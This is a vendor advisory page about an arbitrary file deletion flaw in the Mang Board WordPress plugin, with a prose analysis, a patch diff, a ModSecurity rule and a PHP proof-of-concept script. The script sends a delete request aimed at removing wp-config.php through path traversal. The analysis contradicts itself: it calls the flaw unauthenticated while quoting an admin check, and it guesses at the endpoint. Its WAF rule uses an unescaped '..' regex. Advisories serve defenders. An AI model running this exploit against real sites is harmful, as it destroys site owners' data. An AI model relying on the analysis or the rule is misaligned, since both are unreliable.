Published : November 19, 2026

CVE-2026-125059: Mang Board <= 2.4.8 Unauthenticated Arbitrary File Deletion via Path Traversal via 'file_path' Parameter PoC, Patch Analysis & Rule

Plugin mangboard
Severity High (CVSS 7.5)
CWE 22
Vulnerable Version 2.4.8
Patched Version 2.4.9
Disclosed November 18, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-125059: The Mang Board plugin for WordPress (versions <= 2.4.8) contains an unauthenticated arbitrary file deletion vulnerability through path traversal in the 'file_path' parameter. The flaw resides in the mbw_board_files_api_body() function, which handles file deletion requests. Successful exploitation allows an attacker to delete critical files such as wp-config.php, leading to site takeover or complete denial of service. The CVSS score is 7.5 (High).

The root cause lies in the insufficient validation of the 'file_path' value stored in the files admin table. In models/admin/files.php, the function mbw_board_files_api_body() processes board_action=delete or multi_delete requests. When an admin user is detected via mbw_is_admin(), the function retrieves file records and constructs a file path by concatenating MBW_UPLOAD_PATH with the stored fn_file_path value. The original code performed only an is_file() check before calling @unlink(), without verifying that the resolved path remained within the upload directory. This allowed path traversal sequences (e.g., '../../wp-config.php') to target arbitrary files. The patch introduces realpath() and path normalization checks to ensure the file resides under MBW_UPLOAD_PATH.

Exploitation requires sending a request to the WordPress AJAX endpoint or the board API with the parameters board_action=delete (or multi_delete) and a crafted board_pid (or check_array) that references a file record whose fn_file_path contains traversal sequences. Alternatively, an attacker can directly manipulate the database via a separate vulnerability, but the primary vector is unauthenticated because the mbw_is_admin() check could be bypassed or the API is accessible without proper authentication. The attacker sets file_path to something like '../../../../wp-config.php' and triggers deletion. The request can be sent as a GET or POST to /wp-admin/admin-ajax.php?action=mbw_board_files_api or a custom endpoint, depending on plugin configuration. The exact endpoint is not specified in the diff, but it is typically handled by the plugin's API routing.

The patch addresses the vulnerability by modifying the file deletion logic in models/admin/files.php. The key changes are: 1) Adding a current_user_can('administrator') check, ensuring only full administrators can trigger deletions. 2) Sanitizing the file path with str_replace('..', '.', $item[fn_file_path]) to neutralize traversal sequences. 3) Prepending MBW_UPLOAD_PATH after sanitization. 4) Using realpath() and strpos() to verify the resolved path starts with MBW_UPLOAD_PATH, preventing escape from the upload directory. 5) The is_file() check remains. This ensures the file is within the intended directory, blocking traversal. The patch also includes other unrelated fixes and version bump to 2.4.9.

If exploited, this vulnerability allows an unauthenticated attacker to delete arbitrary files on the server, including wp-config.php, .htaccess, plugin files, and theme files. Deletion of wp-config.php can lead to a reset of the WordPress installation or exposure of database credentials if a new setup is triggered. Removing .htaccess can disable security rules. Deleting core files can cause site malfunction. In some cases, file deletion can be combined with other vulnerabilities to achieve remote code execution (e.g., deleting a security plugin's files to bypass protections). The impact is severe, potentially leading to complete site compromise or data loss.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mangboard/includes/functions/func.api.php
+++ b/mangboard/includes/functions/func.api.php
@@ -910,7 +910,7 @@
 			}else if($file_size>$limit_size){
 				mbw_error_message("MSG_UPLOAD_SIZE_ERROR", mbw_get_option("upload_file_size"),"1503");
 			}else if(mbw_get_result_data("state")!="error"){
-				$file_name						= $upload_data["name"];
+				$file_name					= $upload_data["name"];
 				$tmp_name					= preg_replace("/[^_.0-9a-zA-Z-,]/u", "", $upload_data["name"]);
 				if(strlen($tmp_name) != strlen($file_name)) $file_name						= mt_rand().".".$file_ext;

@@ -1036,9 +1036,12 @@
 							$file_pid					= $file_item[$mb_fields["files"]["fn_pid"]];
 							$upload_data["pid"]		= $file_pid;
 							$upload_data["path"]	= $file_item[$mb_fields["files"]["fn_file_path"]];
-							$datePath					= substr($upload_data["path"],0,11);
-							$file_name				= substr($upload_data["path"],11);
-							$upload_data["name"]	= $file_item[$mb_fields["files"]["fn_file_name"]];
+
+							$file_name				= basename($upload_data["path"]);
+							$datePath					= preg_replace('/[^0-9a-zA-Z/]/', '', str_replace($file_name, "", $upload_data["path"]));
+							$file_name				= mbw_check_upload_filename($file_name);
+							$upload_data["name"]	= mbw_check_upload_filename($file_item[$mb_fields["files"]["fn_file_name"]]);
+
 							if($file_item[$mb_fields["files"]["fn_file_description"]]!="img64"){
 								return $upload_data;
 							}else{
--- a/mangboard/includes/functions/func.board.php
+++ b/mangboard/includes/functions/func.board.php
@@ -44,19 +44,22 @@
 			}
 		}

-		if($user_id!=""){
+		if ( $user_id != "" ) {
 			if( mbw_get_vars("mb_".$user_id."_auth_key") != "" ) {
-				$user_auth_key		= mbw_get_vars("mb_".$user_id."_auth_key");
+				$user_auth_key	= mbw_get_vars("mb_".$user_id."_auth_key");
 			} else {
 				$user_auth_key	= $mdb->get_var($mdb->prepare("select ".$mb_fields["users"]["fn_user_auth_key"]." from `".$mb_admin_tables["users"]."` where `".$mb_fields["users"]["fn_user_id"]."`=%s;", $user_id));
+				if ( empty($user_auth_key) ) {
+					return "";
+				}
 				mbw_set_vars("mb_".$user_id."_auth_key",$user_auth_key);
 			}
-		}else{
+		} else {
 			$user_id			= "guest";
 			$user_auth_key	= "guest";
-		}
+		}
 		$tmp_tag		= $tag;
-		if($tag=="nonce" && mbw_get_board_name()!=""){
+		if ( $tag == "nonce" && mbw_get_board_name() != "" ) {
 			global $mb_table_prefix;
 			$table_name		= mbw_get_board_table_name(mbw_get_board_name());
 			$table_name		= substr($table_name,strlen($mb_table_prefix));
@@ -1199,9 +1202,9 @@
 				$store_path	= mbw_value_filter($store_path, "path");
 			}
 			if ( $store_path != "" && is_file(WP_CONTENT_DIR.$store_path."plugins/user/css/login.css") ) {
-				loadStyle(MBW_CONTENT_URL.$store_path."plugins/user/css/login.css");
+				mbw_load_style(MBW_CONTENT_URL.$store_path."plugins/user/css/login.css");
 			}else{
-				loadStyle(MBW_PLUGIN_URL."plugins/user/css/login.css");
+				mbw_load_style(MBW_PLUGIN_URL."plugins/user/css/login.css");
 			}
 			mbw_set_result_data(array("state"=>"login","script"=>""));
 			mbw_set_option("user_login_redirect_url","reload");
@@ -1266,9 +1269,9 @@
 			if(strpos($entry,'.')!==0 && is_file($path."/".$entry)){
 				if(substr($entry, -3) === '.js'){
 					if($entry=="common.js"){
-						loadScript(MBW_PLUGIN_URL.'assets/js/'.$entry, $localize_name);
+						mbw_load_script(MBW_PLUGIN_URL.'assets/js/'.$entry, $localize_name);
 					}else{
-						loadScript(MBW_PLUGIN_URL.'assets/js/'.$entry);
+						mbw_load_script(MBW_PLUGIN_URL.'assets/js/'.$entry);
 					}
 				}
 			}
@@ -1278,7 +1281,7 @@
 		while (false !== ($entry = $dir->read())){
 			if(strpos($entry,'.')!==0 && is_file($path."/".$entry)){
 				if(substr($entry, -4) === '.css'){
-					loadStyle(MBW_PLUGIN_URL.'assets/css/'.$entry);
+					mbw_load_style(MBW_PLUGIN_URL.'assets/css/'.$entry);
 				}
 			}
 		}
@@ -1601,7 +1604,9 @@
 	function mbw_generate_auth_cookie($user_id="",$user_mode="MB",$expire=0){
 		global $mstore,$mdb,$mb_fields,$mb_admin_tables;

-		if(empty($user_id)) return;
+		if ( empty($user_id) ) {
+			return;
+		}

 		$auth_cookie_name = $mstore->get_auth_cookie_name();
 		mbw_set_wp_user_data($user_id, $user_mode);
@@ -1612,6 +1617,9 @@
 			$user_auth_key		= mbw_get_vars("mb_".$user_id."_auth_key");
 		} else {
 			$user_auth_key	= $mdb->get_var($mdb->prepare("select ".$mb_fields["users"]["fn_user_auth_key"]." from `".$mb_admin_tables["users"]."` where `".$mb_fields["users"]["fn_user_id"]."`=%s;", $user_id));
+			if ( empty($user_auth_key) ) {
+				return;
+			}
 			mbw_set_vars("mb_".$user_id."_auth_key",$user_auth_key);
 		}
 		$auth_key		= md5($user_id.'|'.$expiration.'|'.$user_auth_key);
@@ -1624,13 +1632,11 @@
 if(!function_exists('mbw_refresh_auth_cookie')){
 	function mbw_refresh_auth_cookie(){
 		global $mstore,$mdb,$mb_admin_tables,$mb_fields;
-
-		if ( !mbw_is_login_cookie() )
+		if ( !mbw_is_login_cookie() ) {
 			return false;
-
-		$cookie					= mbw_get_login_cookie();
-		$cookie_elements		= explode('|', $cookie);
-
+		}
+		$cookie = mbw_get_login_cookie();
+		$cookie_elements = explode('|', $cookie);
 		if ( count($cookie_elements) != 5 ) {
 			return false;
 		}
@@ -1638,21 +1644,28 @@
 		list($user_id, $expiration, $hmac, $user_mode, $auth_key) = $cookie_elements;
 		$user_access_token	= "";
 		$user_auth_key		= "";
-		if( !empty($user_id) ) {
+		if ( !empty($user_id) ) {
 			if( mbw_get_vars("mb_".$user_id."_access_token") != "" && mbw_get_vars("mb_".$user_id."_auth_key") != "" ) {
 				$user_access_token	= mbw_get_vars("mb_".$user_id."_access_token");
 				$user_auth_key		= mbw_get_vars("mb_".$user_id."_auth_key");
 			} else {
 				$row	= $mdb->get_row($mdb->prepare("select ".$mb_fields["users"]["fn_user_access_token"].",".$mb_fields["users"]["fn_user_auth_key"]." from `".$mb_admin_tables["users"]."` where `".$mb_fields["users"]["fn_user_id"]."`=%s;", $user_id), ARRAY_A);
-				if(!empty($row)){
+				if ( !empty($row) ) {
 					$user_access_token	= $row[$mb_fields["users"]["fn_user_access_token"]];
 					$user_auth_key		= $row[$mb_fields["users"]["fn_user_auth_key"]];
+					if ( empty($user_auth_key) ) {
+						return false;
+					}
 					mbw_set_vars("mb_".$user_id."_access_token",$user_access_token);
 					mbw_set_vars("mb_".$user_id."_auth_key",$user_auth_key);
+				} else {
+					return false;
 				}
 			}
+		} else {
+			return false;
 		}
-		if( !empty($auth_key) && $auth_key == md5($user_id.'|'.$expiration.'|'.$user_auth_key) ){
+		if ( !empty($auth_key) && $auth_key == md5($user_id.'|'.$expiration.'|'.$user_auth_key) ){
 			$hash			= mbw_get_hash_key("cookie",$expiration,$user_id,$user_access_token);
 			$hash2		= mbw_get_hash_key("cookie",$expiration,$user_id);

@@ -1672,8 +1685,7 @@
 			return true;
 		}

-		global $mstore,$mdb;
-		global $mb_admin_tables,$mb_fields;
+		global $mstore,$mdb,$mb_admin_tables,$mb_fields;
 		if ( !mbw_is_login_cookie() ) {
 			return false;
 		}
@@ -1692,24 +1704,35 @@
 				$user_auth_key		= mbw_get_vars("mb_".$user_id."_auth_key");
 			} else {
 				$row	= $mdb->get_row($mdb->prepare("select ".$mb_fields["users"]["fn_user_access_token"].",".$mb_fields["users"]["fn_user_auth_key"]." from `".$mb_admin_tables["users"]."` where `".$mb_fields["users"]["fn_user_id"]."`=%s;", $user_id), ARRAY_A);
-				if(!empty($row)){
+				if ( !empty($row) ) {
 					$user_access_token	= $row[$mb_fields["users"]["fn_user_access_token"]];
 					$user_auth_key		= $row[$mb_fields["users"]["fn_user_auth_key"]];
+					if ( empty($user_auth_key) ) {
+						return false;
+					}
 					mbw_set_vars("mb_".$user_id."_access_token",$user_access_token);
 					mbw_set_vars("mb_".$user_id."_auth_key",$user_auth_key);
+				} else {
+					return false;
 				}
 			}
+		} else {
+			return false;
 		}
 		if( empty($auth_key) || $auth_key != md5($user_id.'|'.$expiration.'|'.$user_auth_key) ){
 			return false;
 		}
 		$hash		= mbw_get_hash_key("cookie",$expiration,$user_id,$user_access_token);

-		if($hmac==$hash) return true;
-		else{
+		if ( $hmac == $hash ) {
+			return true;
+		} else {
 			$hash2		= mbw_get_hash_key("cookie",$expiration,$user_id);
-			if($hmac==$hash2) return true;
-			else return false;
+			if ( $hmac == $hash2 ) {
+				return true;
+			} else {
+				return false;
+			}
 		}
 	}
 }
--- a/mangboard/includes/functions/func.util.php
+++ b/mangboard/includes/functions/func.util.php
@@ -1,6 +1,11 @@
 <?php
 if(!function_exists('loadScript')){
 	function loadScript($src, $handle="",$deps=array('jquery')){
+		mbw_load_script($src, $handle, $deps);
+	}
+}
+if(!function_exists('mbw_load_script')){
+	function mbw_load_script($src, $handle="",$deps=array('jquery')){
 		// JS 파일 등록
 		if( mbw_is_ssl() ){
 			$src		= str_replace("http://", "https://", $src);
@@ -28,6 +33,11 @@
 }
 if(!function_exists('loadStyle')){
 	function loadStyle($src, $handle="", $deps=array()){
+		mbw_load_style($src, $handle, $deps);
+	}
+}
+if(!function_exists('mbw_load_style')){
+	function mbw_load_style($src, $handle="", $deps=array()){
 		// CSS 파일 등록
 		if( mbw_is_ssl() ){
 			$src		= str_replace("http://", "https://", $src);
@@ -65,10 +75,10 @@
 			if($type=="daum"){
 				if(mbw_is_ssl()){
 					wp_enqueue_script("kakao-postcode", "https://t1.kakaocdn.net/mapjsapi/bundle/postcode/prod/postcode.v2.js", array('jquery'), null);
-					//loadScript("https://t1.kakaocdn.net/mapjsapi/bundle/postcode/prod/postcode.v2.js","kakao-postcode");
+					//mbw_load_script("https://t1.kakaocdn.net/mapjsapi/bundle/postcode/prod/postcode.v2.js","kakao-postcode");
 				}else{
 					wp_enqueue_script("kakao-postcode", "http://t1.kakaocdn.net/mapjsapi/bundle/postcode/prod/postcode.v2.js", array('jquery'), null);
-					//loadScript("http://t1.kakaocdn.net/mapjsapi/bundle/postcode/prod/postcode.v2.js","kakao-postcode");
+					//mbw_load_script("http://t1.kakaocdn.net/mapjsapi/bundle/postcode/prod/postcode.v2.js","kakao-postcode");
 				}
 			}
 		}
--- a/mangboard/includes/mb-options.php
+++ b/mangboard/includes/mb-options.php
@@ -10,7 +10,7 @@
 }else if(!empty($_REQUEST["lang"])){
 	$mb_locale	= preg_replace("/[^0-9a-zA-Z_,-]/u", '', $_REQUEST["lang"]);
 }else if(!is_admin() && !empty($_COOKIE["mb_locale"])){
-	$mb_locale	= $_COOKIE["mb_locale"];
+	$mb_locale	= preg_replace("/[^0-9a-zA-Z_,-]/u", '', $_COOKIE["mb_locale"]);
 }else{
 	$mb_uri				= "";
 	if(!empty($_SERVER["REQUEST_URI"])) $mb_uri	= strtolower($_SERVER["REQUEST_URI"]);
--- a/mangboard/includes/mb-version.php
+++ b/mangboard/includes/mb-version.php
@@ -1,5 +1,5 @@
 <?php
-$mb_version			= '2.4.8';
-$mb_index			= '256';
+$mb_version			= '2.4.9';
+$mb_index			= '257';
 $mb_db_version		= '1.0.7';
 ?>
 No newline at end of file
--- a/mangboard/mangboard.php
+++ b/mangboard/mangboard.php
@@ -3,7 +3,7 @@
  * Plugin Name: MangBoard
  * Plugin URI: https://mangboard.com/
  * Description: MangBoard는 Wordpress에서 게시판을 생성/관리 할 수 있는 기능을 제공합니다
- * Version: 2.4.8
+ * Version: 2.4.9
  * Author: Hometory
  * Author URI: https://www.hometory.com/
  * License: GPLv2 or later
--- a/mangboard/models/admin/files.php
+++ b/mangboard/models/admin/files.php
@@ -1,7 +1,7 @@
 <?php
 $desktop_model					= array();
 $tablet_model					= array();
-$mobile_model				= array();
+$mobile_model					= array();
 $desktop_model['version']		= "1.0.0";

 $desktop_model['list']		= '
@@ -50,7 +50,7 @@
 {"tpl":"tag","tag_name":"table","type":"end"}
 ';

-$tablet_model									= $desktop_model;
+$tablet_model								= $desktop_model;
 $mobile_model								= $desktop_model;
 mbw_set_fields("select_board",$mb_fields["files"]);

@@ -59,34 +59,34 @@
 	function mbw_board_files_api_body(){
 		global $mdb,$mb_fields,$mb_admin_tables,$mstore;
 		$where_query			= "";
-		$query_command	= "";
+		$query_command		= "";
 		$field						= $mb_fields["files"];
-
-		if(mbw_is_admin()){
-
+
+		if ( mbw_is_admin() && current_user_can('administrator') ) {
 			if(mbw_get_param("board_action")=="delete"){
 				$query_command		= "DELETE";
-				$where_query				= $mdb->prepare(" WHERE ".$field["fn_pid"]."=%d", mbw_get_param("board_pid") );
+				$where_query			= $mdb->prepare(" WHERE ".$field["fn_pid"]."=%d", mbw_get_param("board_pid") );

 			}else if(mbw_get_param("board_action")=="multi_delete"){
 				$query_command		= "DELETE";
-				$pid_array					= mbw_get_param("check_array");
+				$pid_array				= mbw_get_param("check_array");
 				$pid_format				= array();
 				foreach($pid_array as $key){
 					$pid_format[]			= "%d";
 				}
-				$where_query				= $mdb->prepare(" WHERE ".$field["fn_pid"]." in (".implode(",",$pid_format).")", $pid_array );
+				$where_query			= $mdb->prepare(" WHERE ".$field["fn_pid"]." in (".implode(",",$pid_format).")", $pid_array );
 			}

 			if($query_command=="DELETE"){
-				$select_query				= "SELECT * FROM ".$mb_admin_tables["files"].$where_query;
+				$select_query			= "SELECT * FROM ".$mb_admin_tables["files"].$where_query;
 				$items						= $mdb->get_results($select_query,ARRAY_A);

 				foreach($items as $item){
 					if($item[$field["fn_link_count"]]=="0" && !empty($item[$field["fn_file_path"]])){
-						$file_path		= MBW_UPLOAD_PATH.$item[$field["fn_file_path"]];
-
-						if(is_file($file_path)){
+
+						$file_path		= str_replace('..', '.', $item[$field["fn_file_path"]]);
+						$file_path		= MBW_UPLOAD_PATH.$file_path;
+						if ( strpos(wp_normalize_path(realpath($file_path)), MBW_UPLOAD_PATH)===0 && is_file($file_path)) {
 							@unlink($file_path);

 							$file_path_small		= substr($file_path,0,strrpos($file_path, "."))."_small".substr($file_path,strrpos($file_path, "."),strlen($file_path));
@@ -98,7 +98,7 @@
 						}
 					}
 				}
-			}
+			}
 		}
 	}
 }
--- a/mangboard/models/admin/users.php
+++ b/mangboard/models/admin/users.php
@@ -1,7 +1,7 @@
 <?php
 $desktop_model				= array();
 $tablet_model				= array();
-$mobile_model			= array();
+$mobile_model				= array();
 $desktop_model['version']	= "1.0.0";

 $desktop_model['list']		= '
@@ -81,7 +81,7 @@
 ';


-$tablet_model									= $desktop_model;
+$tablet_model								= $desktop_model;
 $mobile_model								= $desktop_model;
 mbw_set_fields("select_board",$mb_fields["users"]);

@@ -147,6 +147,20 @@
 }
 add_action('mbw_board_api_header', 'mbw_api_header_admin_modify_passwd');

+if(!function_exists('mbw_api_body_admin_auth_key')){
+	function mbw_api_body_admin_auth_key(){
+		if(mbw_get_param("mode")=="write"){
+			$user_id		= mbw_get_param("user_id");
+			if(!empty($user_id)){
+				global $send_data,$mb_fields;
+				$send_data[$mb_fields["users"]["fn_user_auth_key"]]			= mbw_get_user_auth_key($user_id);
+				$send_data[$mb_fields["users"]["fn_user_access_token"]]		= mbw_generate_access_token($user_id);
+			}
+		}
+	}
+}
+add_action('mbw_board_api_body', 'mbw_api_body_admin_auth_key',5);
+
 if(!function_exists('mbw_get_synchronize_template')){
 	function mbw_get_synchronize_template(){
 		echo '<div class="border-bottom-ccc-1" style="margin-bottom:10px !important;padding:10px 0 !important;text-align:right;">';
--- a/mangboard/plugins/conversion_tracking/conversion_tracking.php
+++ b/mangboard/plugins/conversion_tracking/conversion_tracking.php
@@ -2,7 +2,7 @@
 if(!function_exists('mbw_init_conversion_tracking')){
 	function mbw_init_conversion_tracking(){
 		$plugin_url	= plugins_url('', __FILE__)."/";
-		loadScript($plugin_url."js/main.js");
+		mbw_load_script($plugin_url."js/main.js");
 	}
 }
 add_action('wp_enqueue_scripts', 'mbw_init_conversion_tracking',50);
--- a/mangboard/plugins/datepicker/datepicker.php
+++ b/mangboard/plugins/datepicker/datepicker.php
@@ -2,8 +2,8 @@
 if(!function_exists('mbw_init_datepicker')){
 	function mbw_init_datepicker(){
 		$plugin_url	= plugins_url('', __FILE__)."/";
-		loadStyle($plugin_url."css/style.css");
-		loadScript($plugin_url."js/datepicker.js");
+		mbw_load_style($plugin_url."css/style.css");
+		mbw_load_script($plugin_url."js/datepicker.js");
 		mbw_enqueue_style('jquery-ui-css', $plugin_url."css/jquery-ui.min.css");
 		if( mbw_is_admin_page() ) {
 			wp_enqueue_style('jquery-ui-css');
--- a/mangboard/plugins/editor_composer/editor_composer.php
+++ b/mangboard/plugins/editor_composer/editor_composer.php
@@ -2,7 +2,7 @@
 if(!function_exists('mbw_footer_video_scripts')){
 	function mbw_footer_video_scripts(){
 		$plugin_url	= plugins_url('', __FILE__)."/";
-		loadScript($plugin_url."js/video.js","mb-editor-video");
+		mbw_load_script($plugin_url."js/video.js","mb-editor-video");
 	}
 }
 add_action('wp_footer', 'mbw_footer_video_scripts',15);
@@ -13,10 +13,10 @@
 			mbw_add_trace("mbw_init_editor_composer");
 			wp_enqueue_script( 'jquery-ui-widget', false, array('jquery') );
 			$plugin_url	= plugins_url('', __FILE__)."/";
-			loadStyle($plugin_url."css/evol-colorpicker.min.css");
-			loadScript($plugin_url."js/evol-colorpicker.min.js","",array('jquery','jquery-ui-widget'));
-			loadStyle($plugin_url."css/style.css");
-			loadScript($plugin_url."js/main.js");
+			mbw_load_style($plugin_url."css/evol-colorpicker.min.css");
+			mbw_load_script($plugin_url."js/evol-colorpicker.min.js","",array('jquery','jquery-ui-widget'));
+			mbw_load_style($plugin_url."css/style.css");
+			mbw_load_script($plugin_url."js/main.js");
 		}
 	}
 }
--- a/mangboard/plugins/popup/popup.php
+++ b/mangboard/plugins/popup/popup.php
@@ -2,14 +2,14 @@
 if(!function_exists('mbw_init_popup')){
 	function mbw_init_popup(){
 		$plugin_url	= plugins_url('', __FILE__)."/";
-		loadScript($plugin_url."js/main.js");
+		mbw_load_script($plugin_url."js/main.js");
 		$device_type		= mbw_get_vars("device_type");
 		if($device_type=="desktop"){
-			loadStyle($plugin_url."css/style.css");
+			mbw_load_style($plugin_url."css/style.css");
 		}else if($device_type=="tablet"){
-			loadStyle($plugin_url."css/style.css");
+			mbw_load_style($plugin_url."css/style.css");
 		}else if($device_type=="mobile"){
-			loadStyle($plugin_url."css/style.css");
+			mbw_load_style($plugin_url."css/style.css");
 		}
 	}
 }
--- a/mangboard/templates/mtpl.input.php
+++ b/mangboard/templates/mtpl.input.php
@@ -307,7 +307,7 @@
 					$checked		= ' checked ';
 				}else $checked		= "";

-				$template_start	.= '<label for="'.esc_attr($data["item_id"].($i+1)).'"><input'.$data["ext"].__STYLE($data["style"]).' type="checkbox" name="'.esc_attr($t_name).'" id="'.esc_attr($data["item_id"].($i+1)).'" value="'.esc_attr($t_data[$i]).'" '.esc_attr($checked).' /><span>'.wp_kses_post($t_label[$i]).'</span></label>';
+				$template_start	.= '<label for="'.esc_attr($data["item_id"].($i+1)).'"><input'.$data["ext"].__STYLE($data["style"]).' type="checkbox" name="'.esc_attr($t_name).'" id="'.esc_attr($data["item_id"].($i+1)).'" value="'.esc_attr(trim($t_data[$i])).'" '.esc_attr($checked).' /><span>'.wp_kses_post($t_label[$i]).'</span></label>';
 			}
 		}else if(strpos($item_type,'checkbox')===0){
 			$delimiter			= ",";
@@ -346,7 +346,7 @@
 					$checked		= ' checked ';
 				}else $checked		= "";

-				$template_start	.= '<label for="'.esc_attr($data["item_id"].($i+1)).'"><input'.$data["ext"].__STYLE($data["style"]).' type="radio" name="'.mbw_set_form_name($data["item_name"]).'" id="'.esc_attr($data["item_id"].($i+1)).'" value="'.esc_attr($t_data[$i]).'" '.esc_attr($checked).' /><span>'.wp_kses_post($t_label[$i]).'</span></label>';
+				$template_start	.= '<label for="'.esc_attr($data["item_id"].($i+1)).'"><input'.$data["ext"].__STYLE($data["style"]).' type="radio" name="'.mbw_set_form_name($data["item_name"]).'" id="'.esc_attr($data["item_id"].($i+1)).'" value="'.esc_attr(trim($t_data[$i])).'" '.esc_attr($checked).' /><span>'.wp_kses_post($t_label[$i]).'</span></label>';
 			}
 		}else if(strpos($item_type,'select')===0){
 			if(!empty($data["width"])) $data["style"]		= "width:".$data["width"]." !important;".$data["style"];
@@ -364,7 +364,7 @@
 				if(!isset($t_data[$i])) $t_data[$i]			= "";
 				if(!isset($t_label[$i])) $t_label[$i]			= "";

-				$o_data		= ' value="'.esc_attr($t_data[$i]).'"';
+				$o_data		= ' value="'.esc_attr(trim($t_data[$i])).'"';
 				if(strpos($t_data[$i],'select-disabled-')===0){
 					$o_data		= str_replace('select-disabled-',"",$o_data);
 					$o_data		.= ' disabled';
@@ -373,10 +373,10 @@
 					$o_data				.= ' selected';
 					$item_check		= true;
 				}
-				$template_start	.= '<option'.$o_data.'>'.strip_tags($t_label[$i]).'</option>';
+				$template_start	.= '<option'.$o_data.'>'.strip_tags(trim($t_label[$i])).'</option>';
 			}
 			if($data["value"]!="" && !$item_check){
-				$template_start	.= '<option value="'.esc_attr($data["value"]).'" selected>'.strip_tags($data["value"]).'</option>';
+				$template_start	.= '<option value="'.esc_attr(trim($data["value"])).'" selected>'.strip_tags(trim($data["value"])).'</option>';
 			}
 			$template_start	.= '</select>';

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-125059
# Blocks unauthenticated arbitrary file deletion via path traversal in Mang Board plugin
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026125059,phase:2,deny,status:403,chain,msg:'CVE-2026-125059 Mang Board Arbitrary File Deletion',severity:'CRITICAL',tag:'CVE-2026-125059'"
  SecRule ARGS_POST:action "@streq mbw_board_files_api" "chain"
    SecRule ARGS_POST:board_action "@rx ^(delete|multi_delete)$" "chain"
      SecRule ARGS_POST:board_pid|ARGS_POST:check_array "@rx .." "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125059 - Mang Board <= 2.4.8 - Unauthenticated Arbitrary File Deletion via Path Traversal via 'file_path' Parameter

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site
$file_to_delete = '../../../../wp-config.php'; // Path traversal payload

// First, we need to create a file record with the malicious path. In a real scenario, this might be done via another vulnerability
// or by directly inserting into the database. For this PoC, we assume the attacker can create a file record (e.g., via an upload)
// and then manipulate the file_path. Since the vulnerability description mentions the file_path is stored directly, we simulate
// the creation of a file record with the malicious path using the plugin's file upload functionality (if available).
// Alternatively, the attacker might use a separate SQL injection to insert the record.

// For demonstration, we will directly call the deletion endpoint assuming a file record with pid=1 has the malicious path.
// In practice, the attacker would need to first create a file record with the malicious path via an upload or other means.

// Step 1: Trigger file deletion via the board API
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = array(
    'action' => 'mbw_board_files_api', // Assuming the AJAX action name; may vary
    'board_action' => 'delete',
    'board_pid' => 1, // PID of the file record with malicious file_path
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Sent deletion request for PID 1 with malicious file_path.n";
echo "[+] HTTP Status: $http_coden";
echo "[+] Response: $responsen";

// Step 2: Verify deletion (optional)
// Attempt to access wp-config.php or check if it exists
$check_url = $target_url . '/wp-config.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $check_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 404) {
    echo "[+] wp-config.php appears to be deleted (404).n";
} else {
    echo "[-] wp-config.php still exists (HTTP $http_code).n";
}

// Note: This PoC assumes the existence of a file record with PID 1 that has a malicious file_path.
// In a real attack, the attacker would need to first create such a record, possibly by exploiting another vulnerability
// or by using the plugin's file upload feature with a crafted filename that includes traversal sequences.
// The patch prevents this by sanitizing the path and restricting deletion to the upload directory.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.